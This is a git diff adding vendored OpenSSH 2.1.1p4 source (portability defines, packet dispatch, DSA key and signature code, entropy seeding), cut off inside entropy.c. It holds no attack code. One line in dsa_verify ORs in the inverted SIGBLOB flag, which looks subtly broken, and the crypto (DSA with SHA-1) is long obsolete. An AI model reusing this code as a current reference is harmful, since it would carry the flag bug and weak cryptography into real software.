(SIZEOF_LONG_INT == 8) +typedef long int int64_t; +# else +# if (SIZEOF_LONG_LONG_INT == 8) +typedef long long int int64_t; +# define HAVE_INTXX_T 1 +# else +# error "64 bit int type not found." +# endif +# endif +*/ +#endif + +/* If sys/types.h does not supply u_intXX_t, supply them ourselves */ +#ifndef HAVE_U_INTXX_T +# ifdef HAVE_UINTXX_T +typedef uint8_t u_int8_t; +typedef uint16_t u_int16_t; +typedef uint32_t u_int32_t; +/* +typedef uint64_t u_int64_t; +*/ +# define HAVE_U_INTXX_T 1 +# else +# if (SIZEOF_CHAR == 1) +typedef unsigned char u_int8_t; +# else +# error "8 bit int type not found." +# endif +# if (SIZEOF_SHORT_INT == 2) +typedef unsigned short int u_int16_t; +# else +# error "16 bit int type not found." +# endif +# if (SIZEOF_INT == 4) +typedef unsigned int u_int32_t; +# else +# error "32 bit int type not found." +# endif +/* +# if (SIZEOF_LONG_INT == 8) +typedef unsigned long int u_int64_t; +# else +# if (SIZEOF_LONG_LONG_INT == 8) +typedef unsigned long long int u_int64_t; +# define HAVE_U_INTXX_T 1 +# else +# error "64 bit int type not found." +# endif +# endif +*/ +# endif +#endif + +#ifndef HAVE_SOCKLEN_T +typedef unsigned int socklen_t; +# define HAVE_SOCKLEN_T +#endif /* HAVE_SOCKLEN_T */ + +#ifndef HAVE_SIZE_T +typedef unsigned int size_t; +# define HAVE_SIZE_T +#endif /* HAVE_SIZE_T */ + +#ifndef HAVE_SSIZE_T +typedef int ssize_t; +# define HAVE_SSIZE_T +#endif /* HAVE_SSIZE_T */ + +#ifndef HAVE_SA_FAMILY_T +typedef int sa_family_t; +# define HAVE_SA_FAMILY_T +#endif /* HAVE_SA_FAMILY_T */ + +#ifndef HAVE_PID_T +typedef int pid_t; +# define HAVE_PID_T +#endif /* HAVE_PID_T */ + +#ifndef HAVE_MODE_T +typedef int mode_t; +# define HAVE_MODE_T +#endif /* HAVE_MODE_T */ + +#if !defined(HAVE_SS_FAMILY_IN_SS) && defined(HAVE___SS_FAMILY_IN_SS) +# define ss_family __ss_family +#endif /* !defined(HAVE_SS_FAMILY_IN_SS) && defined(HAVE_SA_FAMILY_IN_SS) */ + +/* Paths */ + +#ifndef _PATH_BSHELL +# define _PATH_BSHELL "/bin/sh" +#endif + +#ifdef USER_PATH +# ifdef _PATH_STDPATH +# undef _PATH_STDPATH +# endif +# define _PATH_STDPATH USER_PATH +#endif + +#ifndef _PATH_STDPATH +# define _PATH_STDPATH "/usr/bin:/bin:/usr/sbin:/sbin" +#endif + +#ifndef _PATH_DEVNULL +# define _PATH_DEVNULL "/dev/null" +#endif + +#ifndef MAIL_DIRECTORY +# define MAIL_DIRECTORY "/var/spool/mail" +#endif + +#ifndef MAILDIR +# define MAILDIR MAIL_DIRECTORY +#endif + +#if !defined(_PATH_MAILDIR) && defined(MAILDIR) +# define _PATH_MAILDIR MAILDIR +#endif /* !defined(_PATH_MAILDIR) && defined(MAILDIR) */ + +#ifndef _PATH_RSH +# ifdef RSH_PATH +# define _PATH_RSH RSH_PATH +# endif /* RSH_PATH */ +#endif /* _PATH_RSH */ + +/* Macros */ + +#ifndef MAX +# define MAX(a,b) (((a)>(b))?(a):(b)) +# define MIN(a,b) (((a)<(b))?(a):(b)) +#endif + +#ifndef timersub +#define timersub(a, b, result) \ + do { \ + (result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \ + (result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \ + if ((result)->tv_usec < 0) { \ + --(result)->tv_sec; \ + (result)->tv_usec += 1000000; \ + } \ + } while (0) +#endif + +#ifndef __P +# define __P(x) x +#endif + +#if !defined(IN6_IS_ADDR_V4MAPPED) +# define IN6_IS_ADDR_V4MAPPED(a) \ + ((((u_int32_t *) (a))[0] == 0) && (((u_int32_t *) (a))[1] == 0) && \ + (((u_int32_t *) (a))[2] == htonl (0xffff))) +#endif /* !defined(IN6_IS_ADDR_V4MAPPED) */ + +#if !defined(__GNUC__) || (__GNUC__ < 2) +# define __attribute__(x) +#endif /* !defined(__GNUC__) || (__GNUC__ < 2) */ + +#if defined(HAVE_SECURITY_PAM_APPL_H) && !defined(DISABLE_PAM) +# define USE_PAM +#endif /* defined(HAVE_SECURITY_PAM_APPL_H) && !defined(DISABLE_PAM) */ + +/* Function replacement / compatibility hacks */ + +/* In older versions of libpam, pam_strerror takes a single argument */ +#ifdef HAVE_OLD_PAM +# define PAM_STRERROR(a,b) pam_strerror((b)) +#else +# define PAM_STRERROR(a,b) pam_strerror((a),(b)) +#endif + +#if defined(BROKEN_GETADDRINFO) && defined(HAVE_GETADDRINFO) +# undef HAVE_GETADDRINFO +#endif /* defined(BROKEN_GETADDRINFO) && defined(HAVE_GETADDRINFO) */ + +#if !defined(HAVE_MEMMOVE) && defined(HAVE_BCOPY) +# define memmove(s1, s2, n) bcopy((s2), (s1), (n)) +#endif /* !defined(HAVE_MEMMOVE) && defined(HAVE_BCOPY) */ + +#if !defined(HAVE_ATEXIT) && defined(HAVE_ON_EXIT) +# define atexit(a) on_exit(a) +#endif /* !defined(HAVE_ATEXIT) && defined(HAVE_ON_EXIT) */ + +/** + ** login recorder definitions + **/ + +/* preprocess */ + +#ifdef HAVE_UTMP_H +# ifdef HAVE_TIME_IN_UTMP +# include +# endif +# include +#endif +#ifdef HAVE_UTMPX_H +# ifdef HAVE_TV_IN_UTMPX +# include +# endif +# include +#endif +#ifdef HAVE_LASTLOG_H +# include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + +/* FIXME: put default paths back in */ +#if !defined(UTMP_FILE) && defined(_PATH_UTMP) +# define UTMP_FILE _PATH_UTMP +#endif +#if !defined(WTMP_FILE) && defined(_PATH_WTMP) +# define WTMP_FILE _PATH_WTMP +#endif +/* pick up the user's location for lastlog if given */ +#if !defined(LASTLOG_FILE) && defined(_PATH_LASTLOG) +# define LASTLOG_FILE _PATH_LASTLOG +#endif +#if !defined(LASTLOG_FILE) && defined(CONF_LASTLOG_FILE) +# define LASTLOG_FILE CONF_LASTLOG_FILE +#endif + + +/* The login() library function in libutil is first choice */ +#if defined(HAVE_LOGIN) && !defined(DISABLE_LOGIN) +# define USE_LOGIN + +#else +/* Simply select your favourite login types. */ +/* Can't do if-else because some systems use several... */ +# if defined(UTMPX_FILE) && !defined(DISABLE_UTMPX) +# define USE_UTMPX +# endif +# if defined(UTMP_FILE) && !defined(DISABLE_UTMP) +# define USE_UTMP +# endif +# if defined(WTMPX_FILE) && !defined(DISABLE_WTMPX) +# define USE_WTMPX +# endif +# if defined(WTMP_FILE) && !defined(DISABLE_WTMP) +# define USE_WTMP +# endif + +#endif + +/* I hope that the presence of LASTLOG_FILE is enough to detect this */ +#if defined(LASTLOG_FILE) && !defined(DISABLE_LASTLOG) +# define USE_LASTLOG +#endif + +/* which type of time to use? (api.c) */ +#ifdef HAVE_SYS_TIME_H +# define USE_TIMEVAL +#endif + +/** end of login recorder definitions */ + +#endif /* _DEFINES_H */ diff --git a/other/openssh-2.1.1p4/dispatch.c b/other/openssh-2.1.1p4/dispatch.c new file mode 100644 index 0000000..8df08b1 --- /dev/null +++ b/other/openssh-2.1.1p4/dispatch.c @@ -0,0 +1,78 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#include "includes.h" +RCSID("$OpenBSD: dispatch.c,v 1.3 2000/06/20 01:39:41 markus Exp $"); +#include "ssh.h" +#include "dispatch.h" +#include "packet.h" + +#define DISPATCH_MIN 0 +#define DISPATCH_MAX 255 + +dispatch_fn *dispatch[DISPATCH_MAX]; + +void +dispatch_protocol_error(int type, int plen) +{ + error("Hm, dispatch protocol error: type %d plen %d", type, plen); +} +void +dispatch_init(dispatch_fn *dflt) +{ + int i; + for (i = 0; i < DISPATCH_MAX; i++) + dispatch[i] = dflt; +} +void +dispatch_set(int type, dispatch_fn *fn) +{ + dispatch[type] = fn; +} +void +dispatch_run(int mode, int *done) +{ + for (;;) { + int plen; + int type; + + if (mode == DISPATCH_BLOCK) { + type = packet_read(&plen); + } else { + type = packet_read_poll(&plen); + if (type == SSH_MSG_NONE) + return; + } + if (type > 0 && type < DISPATCH_MAX && dispatch[type] != NULL) + (*dispatch[type])(type, plen); + else + packet_disconnect("protocol error: rcvd type %d", type); + if (done != NULL && *done) + return; + } +} diff --git a/other/openssh-2.1.1p4/dispatch.h b/other/openssh-2.1.1p4/dispatch.h new file mode 100644 index 0000000..12084aa --- /dev/null +++ b/other/openssh-2.1.1p4/dispatch.h @@ -0,0 +1,11 @@ +enum { + DISPATCH_BLOCK, + DISPATCH_NONBLOCK +}; + +typedef void dispatch_fn(int type, int plen); + +void dispatch_init(dispatch_fn *dflt); +void dispatch_set(int type, dispatch_fn *fn); +void dispatch_run(int mode, int *done); +void dispatch_protocol_error(int type, int plen); diff --git a/other/openssh-2.1.1p4/dsa.c b/other/openssh-2.1.1p4/dsa.c new file mode 100644 index 0000000..c1c37bc --- /dev/null +++ b/other/openssh-2.1.1p4/dsa.c @@ -0,0 +1,309 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: dsa.c,v 1.9 2000/06/20 01:39:41 markus Exp $"); + +#include "ssh.h" +#include "xmalloc.h" +#include "buffer.h" +#include "bufaux.h" +#include "compat.h" + +#include +#include +#include +#include +#include +#include +#include + +#include +#include "kex.h" +#include "key.h" +#include "uuencode.h" + +#define INTBLOB_LEN 20 +#define SIGBLOB_LEN (2*INTBLOB_LEN) + +Key * +dsa_key_from_blob( + char *blob, int blen) +{ + Buffer b; + char *ktype; + int rlen; + DSA *dsa; + Key *key; + +#ifdef DEBUG_DSS + dump_base64(stderr, blob, blen); +#endif + /* fetch & parse DSA/DSS pubkey */ + key = key_new(KEY_DSA); + dsa = key->dsa; + buffer_init(&b); + buffer_append(&b, blob, blen); + ktype = buffer_get_string(&b, NULL); + if (strcmp(KEX_DSS, ktype) != 0) { + error("dsa_key_from_blob: cannot handle type %s", ktype); + key_free(key); + return NULL; + } + buffer_get_bignum2(&b, dsa->p); + buffer_get_bignum2(&b, dsa->q); + buffer_get_bignum2(&b, dsa->g); + buffer_get_bignum2(&b, dsa->pub_key); + rlen = buffer_len(&b); + if(rlen != 0) + error("dsa_key_from_blob: remaining bytes in key blob %d", rlen); + buffer_free(&b); + + debug("keytype %s", ktype); +#ifdef DEBUG_DSS + DSA_print_fp(stderr, dsa, 8); +#endif + return key; +} +int +dsa_make_key_blob(Key *key, unsigned char **blobp, unsigned int *lenp) +{ + Buffer b; + int len; + unsigned char *buf; + + if (key == NULL || key->type != KEY_DSA) + return 0; + buffer_init(&b); + buffer_put_cstring(&b, KEX_DSS); + buffer_put_bignum2(&b, key->dsa->p); + buffer_put_bignum2(&b, key->dsa->q); + buffer_put_bignum2(&b, key->dsa->g); + buffer_put_bignum2(&b, key->dsa->pub_key); + len = buffer_len(&b); + buf = xmalloc(len); + memcpy(buf, buffer_ptr(&b), len); + memset(buffer_ptr(&b), 0, len); + buffer_free(&b); + if (lenp != NULL) + *lenp = len; + if (blobp != NULL) + *blobp = buf; + return len; +} +int +dsa_sign( + Key *key, + unsigned char **sigp, int *lenp, + unsigned char *data, int datalen) +{ + unsigned char *digest; + unsigned char *ret; + DSA_SIG *sig; + EVP_MD *evp_md = EVP_sha1(); + EVP_MD_CTX md; + unsigned int rlen; + unsigned int slen; + unsigned int len; + unsigned char sigblob[SIGBLOB_LEN]; + Buffer b; + + if (key == NULL || key->type != KEY_DSA || key->dsa == NULL) { + error("dsa_sign: no DSA key"); + return -1; + } + digest = xmalloc(evp_md->md_size); + EVP_DigestInit(&md, evp_md); + EVP_DigestUpdate(&md, data, datalen); + EVP_DigestFinal(&md, digest, NULL); + + sig = DSA_do_sign(digest, evp_md->md_size, key->dsa); + if (sig == NULL) { + fatal("dsa_sign: cannot sign"); + } + + rlen = BN_num_bytes(sig->r); + slen = BN_num_bytes(sig->s); + if (rlen > INTBLOB_LEN || slen > INTBLOB_LEN) { + error("bad sig size %d %d", rlen, slen); + DSA_SIG_free(sig); + return -1; + } + debug("sig size %d %d", rlen, slen); + + memset(sigblob, 0, SIGBLOB_LEN); + BN_bn2bin(sig->r, sigblob+ SIGBLOB_LEN - INTBLOB_LEN - rlen); + BN_bn2bin(sig->s, sigblob+ SIGBLOB_LEN - slen); + DSA_SIG_free(sig); + + if (datafellows & SSH_BUG_SIGBLOB) { + debug("datafellows"); + ret = xmalloc(SIGBLOB_LEN); + memcpy(ret, sigblob, SIGBLOB_LEN); + if (lenp != NULL) + *lenp = SIGBLOB_LEN; + if (sigp != NULL) + *sigp = ret; + } else { + /* ietf-drafts */ + buffer_init(&b); + buffer_put_cstring(&b, KEX_DSS); + buffer_put_string(&b, sigblob, SIGBLOB_LEN); + len = buffer_len(&b); + ret = xmalloc(len); + memcpy(ret, buffer_ptr(&b), len); + buffer_free(&b); + if (lenp != NULL) + *lenp = len; + if (sigp != NULL) + *sigp = ret; + } + return 0; +} +int +dsa_verify( + Key *key, + unsigned char *signature, int signaturelen, + unsigned char *data, int datalen) +{ + Buffer b; + unsigned char *digest; + DSA_SIG *sig; + EVP_MD *evp_md = EVP_sha1(); + EVP_MD_CTX md; + unsigned char *sigblob; + char *txt; + unsigned int len; + int rlen; + int ret; + + if (key == NULL || key->type != KEY_DSA || key->dsa == NULL) { + error("dsa_verify: no DSA key"); + return -1; + } + + if (!(datafellows & SSH_BUG_SIGBLOB) && + signaturelen == SIGBLOB_LEN) { + datafellows |= ~SSH_BUG_SIGBLOB; + log("autodetect SSH_BUG_SIGBLOB"); + } else if ((datafellows & SSH_BUG_SIGBLOB) && + signaturelen != SIGBLOB_LEN) { + log("autoremove SSH_BUG_SIGBLOB"); + datafellows &= ~SSH_BUG_SIGBLOB; + } + + debug("len %d datafellows %d", signaturelen, datafellows); + + /* fetch signature */ + if (datafellows & SSH_BUG_SIGBLOB) { + sigblob = signature; + len = signaturelen; + } else { + /* ietf-drafts */ + char *ktype; + buffer_init(&b); + buffer_append(&b, (char *) signature, signaturelen); + ktype = buffer_get_string(&b, NULL); + if (strcmp(KEX_DSS, ktype) != 0) { + error("dsa_verify: cannot handle type %s", ktype); + buffer_free(&b); + return -1; + } + sigblob = (unsigned char *)buffer_get_string(&b, &len); + rlen = buffer_len(&b); + if(rlen != 0) { + error("remaining bytes in signature %d", rlen); + buffer_free(&b); + return -1; + } + buffer_free(&b); + xfree(ktype); + } + + if (len != SIGBLOB_LEN) { + fatal("bad sigbloblen %d != SIGBLOB_LEN", len); + } + + /* parse signature */ + sig = DSA_SIG_new(); + sig->r = BN_new(); + sig->s = BN_new(); + BN_bin2bn(sigblob, INTBLOB_LEN, sig->r); + BN_bin2bn(sigblob+ INTBLOB_LEN, INTBLOB_LEN, sig->s); + + if (!(datafellows & SSH_BUG_SIGBLOB)) { + memset(sigblob, 0, len); + xfree(sigblob); + } + + /* sha1 the data */ + digest = xmalloc(evp_md->md_size); + EVP_DigestInit(&md, evp_md); + EVP_DigestUpdate(&md, data, datalen); + EVP_DigestFinal(&md, digest, NULL); + + ret = DSA_do_verify(digest, evp_md->md_size, sig, key->dsa); + + memset(digest, 0, evp_md->md_size); + xfree(digest); + DSA_SIG_free(sig); + + switch (ret) { + case 1: + txt = "correct"; + break; + case 0: + txt = "incorrect"; + break; + case -1: + default: + txt = "error"; + break; + } + debug("dsa_verify: signature %s", txt); + return ret; +} + +Key * +dsa_generate_key(unsigned int bits) +{ + DSA *dsa = DSA_generate_parameters(bits, NULL, 0, NULL, NULL, NULL, NULL); + Key *k; + if (dsa == NULL) { + fatal("DSA_generate_parameters failed"); + } + if (!DSA_generate_key(dsa)) { + fatal("DSA_generate_keys failed"); + } + + k = key_new(KEY_EMPTY); + k->type = KEY_DSA; + k->dsa = dsa; + return k; +} diff --git a/other/openssh-2.1.1p4/dsa.h b/other/openssh-2.1.1p4/dsa.h new file mode 100644 index 0000000..3cece7c --- /dev/null +++ b/other/openssh-2.1.1p4/dsa.h @@ -0,0 +1,22 @@ +#ifndef DSA_H +#define DSA_H + +Key *dsa_key_from_blob(char *blob, int blen); +int dsa_make_key_blob(Key *key, unsigned char **blobp, unsigned int *lenp); + +int +dsa_sign( + Key *key, + unsigned char **sigp, int *lenp, + unsigned char *data, int datalen); + +int +dsa_verify( + Key *key, + unsigned char *signature, int signaturelen, + unsigned char *data, int datalen); + +Key * +dsa_generate_key(unsigned int bits); + +#endif diff --git a/other/openssh-2.1.1p4/entropy.c b/other/openssh-2.1.1p4/entropy.c new file mode 100644 index 0000000..aa62650 --- /dev/null +++ b/other/openssh-2.1.1p4/entropy.c @@ -0,0 +1,825 @@ +/* + * Copyright (c) 2000 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" + +#include "ssh.h" +#include "xmalloc.h" + +#include +#include + +/* SunOS 4.4.4 needs this */ +#ifdef HAVE_FLOATINGPOINT_H +# include +#endif /* HAVE_FLOATINGPOINT_H */ + +RCSID("$Id: entropy.c,v 1.18 2000/07/15 04:59:15 djm Exp $"); + +#ifndef offsetof +# define offsetof(type, member) ((size_t) &((type *)0)->member) +#endif + +/* Print lots of detail */ +/* #define DEBUG_ENTROPY */ + +/* Number of times to pass through command list gathering entropy */ +#define NUM_ENTROPY_RUNS 1 + +/* Scale entropy estimates back by this amount on subsequent runs */ +#define SCALE_PER_RUN 10.0 + +/* Minimum number of commands to be considered valid */ +#define MIN_ENTROPY_SOURCES 16 + +#define WHITESPACE " \t\n" + +#ifndef RUSAGE_SELF +# define RUSAGE_SELF 0 +#endif +#ifndef RUSAGE_CHILDREN +# define RUSAGE_CHILDREN 0 +#endif + +#if defined(EGD_SOCKET) || defined(RANDOM_POOL) + +#ifdef EGD_SOCKET +/* Collect entropy from EGD */ +int get_random_bytes(unsigned char *buf, int len) +{ + int fd; + char msg[2]; + struct sockaddr_un addr; + int addr_len; + + /* Sanity checks */ + if (sizeof(EGD_SOCKET) > sizeof(addr.sun_path)) + fatal("Random pool path is too long"); + if (len > 255) + fatal("Too many bytes to read from EGD"); + + memset(&addr, '\0', sizeof(addr)); + addr.sun_family = AF_UNIX; + strlcpy(addr.sun_path, EGD_SOCKET, sizeof(addr.sun_path)); + addr_len = offsetof(struct sockaddr_un, sun_path) + sizeof(EGD_SOCKET); + + fd = socket(AF_UNIX, SOCK_STREAM, 0); + if (fd == -1) { + error("Couldn't create AF_UNIX socket: %s", strerror(errno)); + return(0); + } + + if (connect(fd, (struct sockaddr*)&addr, addr_len) == -1) { + error("Couldn't connect to EGD socket \"%s\": %s", + addr.sun_path, strerror(errno)); + close(fd); + return(0); + } + + /* Send blocking read request to EGD */ + msg[0] = 0x02; + msg[1] = len; + + if (atomicio(write, fd, msg, sizeof(msg)) != sizeof(msg)) { + error("Couldn't write to EGD socket \"%s\": %s", + EGD_SOCKET, strerror(errno)); + close(fd); + return(0); + } + + if (atomicio(read, fd, buf, len) != len) { + error("Couldn't read from EGD socket \"%s\": %s", + EGD_SOCKET, strerror(errno)); + close(fd); + return(0); + } + + close(fd); + + return(1); +} +#else /* !EGD_SOCKET */ +#ifdef RANDOM_POOL +/* Collect entropy from /dev/urandom or pipe */ +int get_random_bytes(unsigned char *buf, int len) +{ + int random_pool; + + random_pool = open(RANDOM_POOL, O_RDONLY); + if (random_pool == -1) { + error("Couldn't open random pool \"%s\": %s", + RANDOM_POOL, strerror(errno)); + return(0); + } + + if (atomicio(read, random_pool, buf, len) != len) { + error("Couldn't read from random pool \"%s\": %s", + RANDOM_POOL, strerror(errno)); + close(random_pool); + return(0); + } + + close(random_pool); + + return(1); +} +#endif /* RANDOM_POOL */ +#endif /* EGD_SOCKET */ + +/* + * Seed OpenSSL's random number pool from Kernel random number generator + * or EGD + */ +void +seed_rng(void) +{ + char buf[32]; + + debug("Seeding random number generator"); + + if (!get_random_bytes(buf, sizeof(buf))) { + if (!RAND_status()) + fatal("Entropy collection failed and entropy exhausted"); + } else { + RAND_add(buf, sizeof(buf), sizeof(buf)); + } + + memset(buf, '\0', sizeof(buf)); +} + +/* No-op */ +void init_rng(void) {} + +#else /* defined(EGD_SOCKET) || defined(RANDOM_POOL) */ + +/* + * FIXME: proper entropy estimations. All current values are guesses + * FIXME: (ATL) do estimates at compile time? + * FIXME: More entropy sources + */ + +/* slow command timeouts (all in milliseconds) */ +/* static int entropy_timeout_default = ENTROPY_TIMEOUT_MSEC; */ +static int entropy_timeout_current = ENTROPY_TIMEOUT_MSEC; + +static int prng_seed_saved = 0; +static int prng_initialised = 0; +uid_t original_uid; + +typedef struct +{ + /* Proportion of data that is entropy */ + double rate; + /* Counter goes positive if this command times out */ + unsigned int badness; + /* Increases by factor of two each timeout */ + unsigned int sticky_badness; + /* Path to executable */ + char *path; + /* argv to pass to executable */ + char *args[5]; + /* full command string (debug) */ + char *cmdstring; +} entropy_source_t; + +double stir_from_system(void); +double stir_from_programs(void); +double stir_gettimeofday(double entropy_estimate); +double stir_clock(double entropy_estimate); +double stir_rusage(int who, double entropy_estimate); +double hash_output_from_command(entropy_source_t *src, char *hash); + +/* this is initialised from a file, by prng_read_commands() */ +entropy_source_t *entropy_sources = NULL; + +double +stir_from_system(void) +{ + double total_entropy_estimate; + long int i; + + total_entropy_estimate = 0; + + i = getpid(); + RAND_add(&i, sizeof(i), 0.5); + total_entropy_estimate += 0.1; + + i = getppid(); + RAND_add(&i, sizeof(i), 0.5); + total_entropy_estimate += 0.1; + + i = getuid(); + RAND_add(&i, sizeof(i), 0.0); + i = getgid(); + RAND_add(&i, sizeof(i), 0.0); + + total_entropy_estimate += stir_gettimeofday(1.0); + total_entropy_estimate += stir_clock(0.5); + total_entropy_estimate += stir_rusage(RUSAGE_SELF, 2.0); + + return(total_entropy_estimate); +} + +double +stir_from_programs(void) +{ + int i; + int c; + double entropy_estimate; + double total_entropy_estimate; + char hash[SHA_DIGEST_LENGTH]; + + total_entropy_estimate = 0; + for(i = 0; i < NUM_ENTROPY_RUNS; i++) { + c = 0; + while (entropy_sources[c].path != NULL) { + + if (!entropy_sources[c].badness) { + /* Hash output from command */ + entropy_estimate = hash_output_from_command(&entropy_sources[c], hash); + + /* Scale back entropy estimate according to command's rate */ + entropy_estimate *= entropy_sources[c].rate; + + /* Upper bound of entropy estimate is SHA_DIGEST_LENGTH */ + if (entropy_estimate > SHA_DIGEST_LENGTH) + entropy_estimate = SHA_DIGEST_LENGTH; + + /* Scale back estimates for subsequent passes through list */ + entropy_estimate /= SCALE_PER_RUN * (i + 1.0); + + /* Stir it in */ + RAND_add(hash, sizeof(hash), entropy_estimate); + +#ifdef DEBUG_ENTROPY + debug("Got %0.2f bytes of entropy from '%s'", entropy_estimate, + entropy_sources[c].cmdstring); +#endif + + total_entropy_estimate += entropy_estimate; + + /* Execution times should be a little unpredictable */ + total_entropy_estimate += stir_gettimeofday(0.05); + total_entropy_estimate += stir_clock(0.05); + total_entropy_estimate += stir_rusage(RUSAGE_SELF, 0.1); + total_entropy_estimate += stir_rusage(RUSAGE_CHILDREN, 0.1); + } else { +#ifdef DEBUG_ENTROPY + debug("Command '%s' disabled (badness %d)", + entropy_sources[c].cmdstring, entropy_sources[c].badness); +#endif + + if (entropy_sources[c].badness > 0) + entropy_sources[c].badness--; + } + + c++; + } + } + + return(total_entropy_estimate); +} + +double +stir_gettimeofday(double entropy_estimate) +{ + struct timeval tv; + + if (gettimeofday(&tv, NULL) == -1) + fatal("Couldn't gettimeofday: %s", strerror(errno)); + + RAND_add(&tv, sizeof(tv), entropy_estimate); + + return(entropy_estimate); +} + +double +stir_clock(double entropy_estimate) +{ +#ifdef HAVE_CLOCK + clock_t c; + + c = clock(); + RAND_add(&c, sizeof(c), entropy_estimate); + + return(entropy_estimate); +#else /* _HAVE_CLOCK */ + return(0); +#endif /* _HAVE_CLOCK */ +} + +double +stir_rusage(int who, double entropy_estimate) +{ +#ifdef HAVE_GETRUSAGE + struct rusage ru; + + if (getrusage(who, &ru) == -1) + return(0); + + RAND_add(&ru, sizeof(ru), entropy_estimate); + + return(entropy_estimate); +#else /* _HAVE_GETRUSAGE */ + return(0); +#endif /* _HAVE_GETRUSAGE */ +} + + +static +int +_get_timeval_msec_difference(struct timeval *t1, struct timeval *t2) { + int secdiff, usecdiff; + + secdiff = t2->tv_sec - t1->tv_sec; + usecdiff = (secdiff*1000000) + (t2->tv_usec - t1->tv_usec); + return (int)(usecdiff / 1000); +} + +double +hash_output_from_command(entropy_source_t *src, char *hash) +{ + static int devnull = -1; + int p[2]; + fd_set rdset; + int cmd_eof = 0, error_abort = 0; + struct timeval tv_start, tv_current; + int msec_elapsed = 0; + pid_t pid; + int status; + char buf[16384]; + int bytes_read; + int total_bytes_read; + SHA_CTX sha; + + if (devnull == -1) { + devnull = open("/dev/null", O_RDWR); + if (devnull == -1) + fatal("Couldn't open /dev/null: %s", strerror(errno)); + } + + if (pipe(p) == -1) + fatal("Couldn't open pipe: %s", strerror(errno)); + + (void)gettimeofday(&tv_start, NULL); /* record start time */ + + switch (pid = fork()) { + case -1: /* Error */ + close(p[0]); + close(p[1]); + fatal("Couldn't fork: %s", strerror(errno)); + /* NOTREACHED */ + case 0: /* Child */ + dup2(devnull, STDIN_FILENO); + dup2(p[1], STDOUT_FILENO); + dup2(p[1], STDERR_FILENO); + close(p[0]); 